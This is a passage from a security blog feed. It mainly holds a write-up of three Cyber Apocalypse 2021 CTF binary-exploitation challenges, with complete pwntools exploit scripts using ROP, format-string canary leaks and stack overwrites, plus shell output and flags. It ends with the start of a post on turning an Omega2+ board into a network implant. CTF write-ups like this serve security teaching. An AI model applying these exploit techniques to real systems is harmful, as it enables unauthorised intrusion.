&lt;p&gt;When this chain executes, the binary will wait for input. At this point we can send the address of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;execve()&lt;/code&gt; gadget to overwrite &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;alarm()&lt;/code&gt; at the GOT, and then return to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;alarm()&lt;/code&gt; at the PLT.&lt;/p&gt;

&lt;p&gt;Here’s the final exploit:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;#!/usr/bin/env python3
from pwn import *

context(os=&quot;linux&quot;, arch=&quot;amd64&quot;)
elf = context.binary = ELF(&quot;system_drop&quot;)

libc = ELF(&quot;libc.so.6&quot;)

read_plt = elf.plt.read

pop_rdi = 0x4005d3               # pop rdi
pop_rsi_chain = 0x4005d1         # pop rsi; pop r15; ret
syscall = 0x40053b               # syscall; ret

r = remote(&quot;139.59.185.150&quot;,30477)

# Stage 1 : Leak a libc address
# After the binary calls read(), it sets eax=1 which we can use for a write() syscall to leak
# alarm()&apos;s libc address
buf = b&quot;A&quot;*40
buf += p64(pop_rdi)
buf += p64(0x1)                 # stdout
buf += p64(pop_rsi_chain)
buf += p64(elf.got.alarm)       # alarm@got
buf += p64(0x0)
buf += p64(syscall)             # write() syscall which should give us the libc address we need

# Stage 2 : We have libc and calculated the address of a one-gadget-rce at this point
# Call read() again to overwrite alarm@got with one-gadget-rce
buf += p64(pop_rdi)
buf += p64(0x0)                 # stdout
buf += p64(pop_rsi_chain)
buf += p64(elf.got.alarm)       # alarm@got
buf += p64(0x0)
buf += p64(read_plt)            # read() in our one-gadget-rce into alamr@got

# Stage 3 : Call alarm() to trigger call to do_system()
buf += p64(elf.plt.alarm)

r.sendline(buf)

alarm_libc_leak = int.from_bytes(r.recv()[:6], &quot;little&quot;)
print(f&quot;alarm@libc: 0x{alarm_libc_leak:2x}&quot;)

libc.address = alarm_libc_leak - libc.sym.alarm
print(f&quot;libc base: 0x{libc.address:2x}&quot;)

execve_gadget = libc.address + 0x4f432        # execve() gadget offset
r.sendline(p64(execve_gadget))

r.interactive()
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Running it gives us a shell on the server to get the flag:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;► ./sploit.py SILENT=1
alarm@libc: 0x7fc3459f7610
libc base: 0x7fc345913000
[*] Switching to interactive mode
$ ls
flag.txt  system_drop
$ cat flag.txt
CHTB{n0_0utput_n0_pr0bl3m_w1th_sr0p}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;harvester&quot;&gt;Harvester&lt;/h2&gt;

&lt;p&gt;This binary challenge includes a copy of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;libc.so.6&lt;/code&gt; and is compiled with the works: Full RELRO, NX, stack canary, and PIE. When executed, the binary gives the user four options:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;► ./harvester

A wild Harvester appeared 🐦

Options:

[1] Fight 👊	[2] Inventory 🎒
[3] Stare 👀	[4] Run 🏃
&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;After spending some time analyzing the binary in Cutter, we can determine the following:&lt;/p&gt;

&lt;h3 id=&quot;fight&quot;&gt;Fight&lt;/h3&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fight()&lt;/code&gt; function prompts the user to select a weapon by reading 5 bytes from the user using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;read()&lt;/code&gt;. Whatever weapon is selected results in the message “You are not strong enough to fight yet.”. A format string vulnerability exists in this function which allows us to read pointers on the stack. We are able to leak the stack canary at positions 11, 15, and 19, as well as a libc address (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;__libc_start_main()+231&lt;/code&gt;) at position 21.&lt;/p&gt;

&lt;p&gt;Leaking the stack canary:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Choose weapon:

[1] 🗡		[2] 💣
[3] 🏹		[4] 🔫
&amp;gt; %11$p

Your choice is: 0x5420ef415fb19a00
You are not strong enough to fight yet.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Leaking &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;__libc_start_main()+231&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Choose weapon:

[1] 🗡		[2] 💣
[3] 🏹		[4] 🔫
&amp;gt; %21$p

Your choice is: 0x7ffb61a7fb97
You are not strong enough to fight yet.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;inventory&quot;&gt;Inventory&lt;/h3&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;inventory()&lt;/code&gt; function lists the number of pies a user has, and asks if they want to drop some pies, and how many. A vulnerability exists in this function where if a user enters a negative number, it actually increases the number of pies they have. A user starts with 10 pies, and dropping -10 pies leaves the user with 20 pies. The use of this vulnerability will become evident in the Stare option.&lt;/p&gt;

&lt;h3 id=&quot;stare&quot;&gt;Stare&lt;/h3&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;stare()&lt;/code&gt; function attempts to find a weakness in the Harvester, but will fail, and instead reward the user with 1 pie. Once the user has 15 pies, the message “You cannot carry more” is printed and the binary exits. There is a hidden branch in this function where if a user has 22 pies, the binary prompts the user to enter a string of up to 64 bytes.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;    rdi = &quot;\n[+] You found 1 &quot;;
    printstr ();
    eax = *(pie);
    eax++;
    eax = *(pie);
    if (eax == 0x16) {
        eax = 0;
        printf (&quot;\e[1;32m&quot;);
        rdi = &quot;\nYou also notice that if the Harvester eats too many pies, it falls asleep.&quot;;
        printstr ();
        rdi = &quot;\nDo you want to feed it?\n&amp;gt; &quot;;
        printstr ();
        rax = &amp;amp;buf;
        read (0, rax, 0x40);
        eax = 0;
        printf (&quot;\e[1;31m&quot;);
        rdi = &quot;\nThis did not work as planned..\n&quot;;
        printstr ();
    }
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;A stack buffer overflow vulnerability exists which allows us to overwrite &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;stare()&lt;/code&gt;’s saved return pointer. The saved return pointer is 56 bytes from the end of the buffer. In order to reach this code branch, we need to leverage the Inventory vulnerability to drop -11 pies so that the user ends up with 21 pies. When Stare is called, an extra pie is added to our inventory, leaving us with 22 pies.&lt;/p&gt;

&lt;h3 id=&quot;run&quot;&gt;Run&lt;/h3&gt;

&lt;p&gt;This simply exits the binary.&lt;/p&gt;

&lt;h3 id=&quot;exploitation&quot;&gt;Exploitation&lt;/h3&gt;

&lt;p&gt;We have everything we need to exploit the binary:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Use Fight to leak the stack canary and a libc address. Calculate libc’s base address and get the offset of a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;execve(&quot;/bin/sh&quot;)&lt;/code&gt; gadget using the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;one_gadget&lt;/code&gt; tool.&lt;/li&gt;
  &lt;li&gt;Use Inventory to drop -11 pies to get the 22 pies needed to enter the vulnerable code branch in Stare.&lt;/li&gt;
  &lt;li&gt;Use Stare and send a large enough payload that overwrites the stack canary with the leaked canary, and overwrites the saved return pointer to return to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;execve()&lt;/code&gt; gadget.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Here’s the final exploit:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import *

context(os=&quot;linux&quot;, arch=&quot;amd64&quot;)
elf = context.binary = ELF(&quot;harvester&quot;)
libc = ELF(&quot;libc.so.6&quot;)

r = remote(&quot;165.227.232.115&quot;, 30465)

# Use Fight to leak stack canary at position 11
r.recvuntil(&quot;&amp;gt; &quot;)
r.sendline(&quot;1&quot;)
r.recvuntil(&quot;&amp;gt; &quot;)
r.sendline(&quot;%11$p&quot;)
r.recvuntil(&quot;is: &quot;)
canary = r.recvuntil(&quot;\n&quot;)[:18].decode(&quot;utf-8&quot;)
print(&quot;leaked stack canary:&quot;, canary)

# Use Fight to leak a libc address at position 21
r.sendline(&quot;1&quot;)
r.recvuntil(&quot;&amp;gt; &quot;)
r.sendline(&quot;%21$p&quot;)                             # leaks __libc_start_main+231
r.recvuntil(&quot;is: &quot;)
libc_leak = r.recvuntil(&quot;\n&quot;)[:14].decode(&quot;utf-8&quot;)
print(&quot;leaked libc address:&quot;, libc_leak)

libc.address = int(libc_leak, 16) - 138231      # offset of __libc_start_main+231
print(f&quot;libc base: 0x{libc.address:2x}&quot;)

# Use Inventory to increase pies to 21
r.sendline(&quot;2&quot;)
r.recvuntil(&quot;&amp;gt; &quot;)
r.sendline(&quot;y&quot;)
r.recvuntil(&quot;&amp;gt; &quot;)
r.sendline(&quot;-11&quot;)                               # drop -11 pies
r.recvuntil(&quot;&amp;gt; &quot;)

# Use Stare to exploit buffer overflow
r.sendline(&quot;3&quot;)
r.recvuntil(&quot;&amp;gt; &quot;)

execve_gadget = libc.address + 0x4f3d5          # execve() gadget offset

buf  = b&quot;A&quot;*40
buf += p64(int(canary, 16))                     # preserve stack canary
buf += p64(0x0)                                 # padding
buf += p64(execve_gadget)                       # return to execve() gadget
r.sendline(buf)

print(&quot;Getting shell...&quot;)
r.interactive()
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Here it is in action popping a shell on the server:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;► ./sploit.py SILENT=1
leaked stack canary: 0x32e62f8c8bdc5e00
leaked libc address: 0x7f7ea9cfbbf7
libc base: 0x7f7ea9cda000
Getting shell...

You try to find its weakness, but it seems invincible..
Looking around, you see something inside a bush.
[+] You found 1 \\x9f\xa5\xa7!

You also notice that if the Harvester eats too many pies, it falls asleep.
Do you want to feed it?
&amp;gt;
This did not work as planned..
$ ls
flag.txt  harvester  libc.so.6
$ cat flag.txt
CHTB{h4rv35t3r_15_ju5t_4_b1g_c4n4ry}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;save-the-environment&quot;&gt;Save the Environment&lt;/h2&gt;

&lt;p&gt;This binary challenge includes a copy of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;libc.so.6&lt;/code&gt; and is compiled with Full Relro, stack canary, and NX.&lt;/p&gt;

&lt;p&gt;I did not complete this challenge during the CTFs allotted time frame, but completed it the day after. When executed, the binary prompts us for two options; plant a tree, or recycle. After analyzing the binary in Cutter, we can determine the following:&lt;/p&gt;

&lt;h3 id=&quot;plant&quot;&gt;Plant&lt;/h3&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;plant()&lt;/code&gt; function prompts the user for a type of tree to plant, and then a location to plant the tree. If this sounds familiar, it should, because the Minefield challenge used the same thing. This is essentially a write primitive that allows us to write to any writable memory address. The difference here is that the binary is compiled with Full RELRO so we can’t write to the GOT or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.fini_array&lt;/code&gt;. We can only do this once. After &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;plant()&lt;/code&gt; is called, the binary sets &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rec_count&lt;/code&gt; to 0x16. This causes the binary to exit when &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;check_fun()&lt;/code&gt; is called and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rec_count&lt;/code&gt; is greater than 0xb:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;    if (rec_count &amp;gt;= 0) {
        if (rec_count &amp;lt;= 0xb) {
            goto label_0;
        }
    }
    rsi = &quot;green&quot;;
    rdi = &quot;We have plenty of this already.\nThanks for your help!\n&quot;;
    eax = 0;
    color ();
    exit (1);
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;recycle&quot;&gt;Recycle&lt;/h3&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;recycle()&lt;/code&gt; function prompt the user for what material to recycle. Whatever option the user selects, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;form()&lt;/code&gt; function is called which asks the user if this is their first time recycling. A counter is maintained in 0x603080 as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rec_count&lt;/code&gt; which keeps track of how many times a user has recycled. If the user recyles 5 times, the binary leaks the libc address of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;printf()&lt;/code&gt;. If the user recycles 10 times, the binary allows the user to enter an arbitrary address and leaks its value. This is effectively a read primitive.&lt;/p&gt;

&lt;h3 id=&quot;win-function&quot;&gt;Win function&lt;/h3&gt;

&lt;p&gt;A function called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hidden_resources()&lt;/code&gt; will print the contents of the flag. This function isn’t called by anything, so this is the target function we want to return to.&lt;/p&gt;

&lt;h3 id=&quot;exploitation-1&quot;&gt;Exploitation&lt;/h3&gt;

&lt;p&gt;Full RELRO prevents us from writing to the GOT or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.fini_array&lt;/code&gt;. We can write to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;__malloc_hook()&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;__free_hook()&lt;/code&gt; in libc, but there’s nothing in the binary that would trigger a call to those functions. The only other option is to overwrite a saved return pointer on the stack, but in order to do that, we need a stack leak.&lt;/p&gt;

&lt;p&gt;As it turns out, we can leak a stack address by leaking &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;environ&lt;/code&gt; in libc. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;environ&lt;/code&gt; contains a pointer to an address on the stack. By taking the difference of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;environ&lt;/code&gt; on the stack, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;plant()&lt;/code&gt;’s saved return pointer on the stack, we can determine how many bytes to subtract from the leaked stack address and use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;plant()&lt;/code&gt; to overite the saved return pointer with the address of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hidden_resources()&lt;/code&gt;. When &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;plant()&lt;/code&gt; returns, it calls &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hidden_resources()&lt;/code&gt; which prints out the flag.&lt;/p&gt;

&lt;p&gt;This is the exploitaiton flow:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Recycle 5 times to leak &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;printf()&lt;/code&gt;’s libc address and calculate libc’s base address.&lt;/li&gt;
  &lt;li&gt;Recycle 5 more times to allow us to leak the address of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;environ&lt;/code&gt; on the stack by sending &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;environ&lt;/code&gt;’s libc address (libc base address + &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;environ&lt;/code&gt;’s offset in libc).&lt;/li&gt;
  &lt;li&gt;Calculate the difference between &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;environ&lt;/code&gt; on the stack and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;plant()&lt;/code&gt;’s saved return pointer on the stack.&lt;/li&gt;
  &lt;li&gt;Use the write primitive to overwrite &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;plant()&lt;/code&gt;’s saved return pointer with the address of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hidden_resources()&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Here’s the final exploit:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import *

context(os=&quot;linux&quot;, arch=&quot;amd64&quot;)
elf = context.binary = ELF(&quot;environment&quot;)
libc = ELF(&quot;./libc.so.6&quot;)

def recycle(count):
    for i in range(count):
        r.recvuntil(&quot;&amp;gt; &quot;)
        r.sendline(&quot;2&quot;)
        r.recvuntil(&quot;&amp;gt; &quot;)
        r.sendline(&quot;1&quot;)
        r.recvuntil(&quot;&amp;gt; &quot;)
        r.sendline(&quot;n&quot;)
        r.recvline()
        d  = r.recvline()
    return d

def plant(retptr, win):
    r.sendline(&quot;1&quot;)
    r.recvuntil(&quot;&amp;gt; &quot;)
    r.sendline(str(retptr))
    r.recvuntil(&quot;&amp;gt; &quot;)
    r.sendline(str(win))
    print(r.recvall())      # return the flag

r = remote(&quot;138.68.182.108&quot;, 31093)

# leak libc address (printf)
d = recycle(5)
d = d.decode(&quot;utf-8&quot;)[-16:].replace(&quot;]&quot;, &quot;&quot;)
printf_libc = int(d, 16)
print(f&quot;printf@libc: 0x{printf_libc:2x}&quot;)

# get libc base address and find environ pointer in libc
libc.address = printf_libc - libc.sym.printf
print(f&quot;libc base  : 0x{libc.address:2x}&quot;)
print(f&quot;environ libc: 0x{libc.sym.environ:2x}&quot;)

# leak stack address via environ pointer in libc
d = recycle(5)
r.sendline(str(libc.sym.environ))
environ_stack = int.from_bytes(r.recvline()[-7:-1], &quot;little&quot;)
print(f&quot;environ stack: 0x{environ_stack:2x}&quot;)

# get plant()&apos;s saved return pointer by subtracting 288 bytes from environ
plant_retptr = environ_stack - 288
print(f&quot;plant() saved return pointer: 0x{plant_retptr:2x}&quot;)

# overwrite plant()&apos;s saved return pointer with hidden_resources()
plant(plant_retptr, elf.sym.hidden_resources)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And here it is retrieving the flag:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;► ./sploit.py SILENT=1
printf@libc: 0x7f85ab613f70
libc base  : 0x7f85ab5af000
environ libc: 0x7f85ab99d098
environ stack: 0x7fffeb322988
plant() saved return pointer: 0x7fffeb322868
b&apos;\n\x1b[1;32765;32mWhere do you want to plant?\n1. City\n2. Forest\n\x1b[0m&amp;gt; Thanks a lot for your contribution!\nYou found a hidden vault with resources. You are very lucky!\nCHTB{u_s4v3d_th3_3nv1r0n_v4r14bl3!}\n&apos;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

</description>
        <pubDate>Mon, 26 Apr 2021 08:06:23 +0000</pubDate>
        <link>http://blog.techorganic.com/2021/04/26/cyber-apocalypse-ctf-2021-pwnables/</link>
        <guid isPermaLink="true">http://blog.techorganic.com/2021/04/26/cyber-apocalypse-ctf-2021-pwnables/</guid>
      </item>
    
      <item>
        <title>The Omega2+ as a network implant</title>
        <description>&lt;p&gt;Some time ago in 2016 I backed a Kickstarter for the &lt;a href=&quot;https://onion.io/omega2/&quot;&gt;Omega2&lt;/a&gt; board. This is a tiny Linux powered computer meant for IoT development. I had plans to make cool things with it at the time, but the reality of it was that the Omega2+ ended up in my closet to be forgotten. Fast forward to 2020, we’re in the middle of a pandemic, I’m on vacation looking for things to do, and now seemed like a good time to put the Omega2+ to use.&lt;/p&gt;

&lt;p&gt;I’d been wanting to make something similar to Hak5’s &lt;a href=&quot;https://shop.hak5.org/products/lan-turtle&quot;&gt;LAN Turtle&lt;/a&gt; and &lt;a href=&quot;https://shop.hak5.org/products/shark-jack&quot;&gt;Shark Jack&lt;/a&gt;. With that in mind, I decided to turn the Omega2+ into a network implant. The end result is a device that plugs into a network drop of a target LAN and acts as a WiFi access point. By associating with the Omega2+ via WiFi, we can then SSH into it and perform scans on the target LAN.&lt;/p&gt;

&lt;p&gt;This is super easy to do, no soldering required or any of that mess. Just buy the components and put them together like LEGO pieces.&lt;/p&gt;

&lt;p&gt;Here’s what the end result looks like:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2020-03-29/01.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;This includes the following components:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://onion.io/store/omega2p/&quot;&gt;Omega2+&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://onion.io/store/expansion-dock/&quot;&gt;Expansion Dock&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://onion.io/store/ethernet-expansion/&quot;&gt;Ethernet Expansion&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;32GB microSD card&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The total cost without the microSD is $43.00.&lt;/p&gt;

&lt;p&gt;The Omega2+ has 128MB of DDR2RAM and 32MB of flash storage. 32MB didn’t seem like a lot, so I purchased a 32GB microSD to increase the storage space. The Omega2+ also comes with one USB 2.0 port so you can use that for storage if you like. Here are the &lt;a href=&quot;https://onion.io/store/omega2p/&quot;&gt;specs&lt;/a&gt;:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;580MHz MIPS CPU&lt;/li&gt;
  &lt;li&gt;128MB Memory&lt;/li&gt;
  &lt;li&gt;32MB Storage&lt;/li&gt;
  &lt;li&gt;USB2.0 support&lt;/li&gt;
  &lt;li&gt;2.4GHz b/g/n WiFi&lt;/li&gt;
  &lt;li&gt;3.3V Operating Voltage&lt;/li&gt;
  &lt;li&gt;18 GPIOs&lt;/li&gt;
  &lt;li&gt;Support for UART, I2C, SPI&lt;/li&gt;
  &lt;li&gt;MicroSD slot&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;initial-setup&quot;&gt;Initial setup&lt;/h2&gt;

&lt;p&gt;Let’s get started. Setup the Omega2+ according to the instructions &lt;a href=&quot;https://docs.onion.io/omega2-docs/first-time-setup.html&quot;&gt;here&lt;/a&gt;. To summarize:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Insert the microSD card to the base of the Omega2+&lt;/li&gt;
  &lt;li&gt;Attach the Omega2+ and the Ethernet Expansion  to the Expansion Dock&lt;/li&gt;
  &lt;li&gt;Plug the Omega2+ to a power source like a laptop and switch it on&lt;/li&gt;
  &lt;li&gt;It will act as an access point and broadcast a SSID in the form of Omega-ABCD, where ABCD is the last four digits of the Omega2+’s MAC address. The WiFi password is 12345678&lt;/li&gt;
  &lt;li&gt;Browse to http://192.168.3.1 and follow the setup wizard. The username is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;root&lt;/code&gt;, password is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;onioneer&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Make sure you associate the Omega2+ with your WiFi access point and that it has Internet access&lt;/li&gt;
  &lt;li&gt;Once completed, you’ll be dropped into the OnionOS dashboard&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;At any time, you can SSH directly into the Omega2+ with the root credentials:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ssh root@192.168.3.1&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Once logged in, verify that you have Internet access by pinging a server like 8.8.8.8 and google.com. If everything checks out, you probably want to change the default root and access point passwords. The root password can be changed using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;passwd&lt;/code&gt; as usual.&lt;/p&gt;

&lt;p&gt;To change the access point password, run the following commands:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@Omega-ABCD:~# uci set wireless.ap.key=&apos;my_new_password&apos;
root@Omega-ABCD:~# uci commit wireless
root@Omega-ABCD:~# wifi
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This will disconnect you from the access point, so you’ll want to reconnect before proceeding.&lt;/p&gt;

&lt;h2 id=&quot;booting-from-the-microsd-card&quot;&gt;Booting from the microSD card&lt;/h2&gt;

&lt;p&gt;The Omega2+ doesn’t come with a lot of storage, so you’ll want to boot from an external storage. In my case, I’m using a microSD card so I can keep the single USB port available, so my instructions will cover preparing the microSD card. If you want to use a USB drive instead, follow the instructions &lt;a href=&quot;https://docs.onion.io/omega2-docs/boot-from-external-storage.html&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;A quick check on the available space using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;df -h&lt;/code&gt; shows that the Omega2+ only has about 22MB of storage:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;overlayfs:/overlay       22.1M      2.6M     19.4M  12% /
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I’m using a 32GB microSD, so at the end of this, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/overlay&lt;/code&gt; should have approximately that much space.&lt;/p&gt;

&lt;p&gt;Start by installing &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;e2fsprogs&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@Omega-ABCD:~# opkg update
root@Omega-ABCD:~# opkg install e2fsprogs
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The microSD device is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/dev/mmcblk0p1&lt;/code&gt; and should be mounted in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/mnt/mmcblk0p1&lt;/code&gt;. Unmount and create an Ext4 file system on it:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@Omega-ABCD:~# umount /mnt/mmcblk0p1
root@Omega-ABCD:~# mkfs.ext4 /dev/mmcblk0p1
mke2fs 1.44.1 (24-Mar-2018)
/dev/mmcblk0p1 contains a ext4 file system
    last mounted on /sd on Sat Mar 28 04:33:36 2020
Proceed anyway? (y,N) y
Creating filesystem with 7392768 4k blocks and 1851392 inodes
Filesystem UUID: e6052419-f5bc-4d92-8e04-04438b70d76a
Superblock backups stored on blocks:
    32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632, 2654208,
    4096000

Allocating group tables: done
Writing inode tables: done
Creating journal (32768 blocks): done
Writing superblocks and filesystem accounting information: done
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Remount it back into &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/mnt/mmcblk0p1&lt;/code&gt;&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@Omega-46DB:~# mkdir -p /mnt/mmcblk0p1
root@Omega-46DB:~# mount /dev/mmcblk0p1 /mnt/mmcblk0p1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now move &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/overlay&lt;/code&gt; into the microSD:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@Omega-46DB:~# mount /dev/mmcblk0p1 /mnt ; tar -C /overlay -cvf - . | tar -C /mnt/ -xf - ; umount /mnt/
./
./upper/
./upper/etc/
./upper/etc/config/
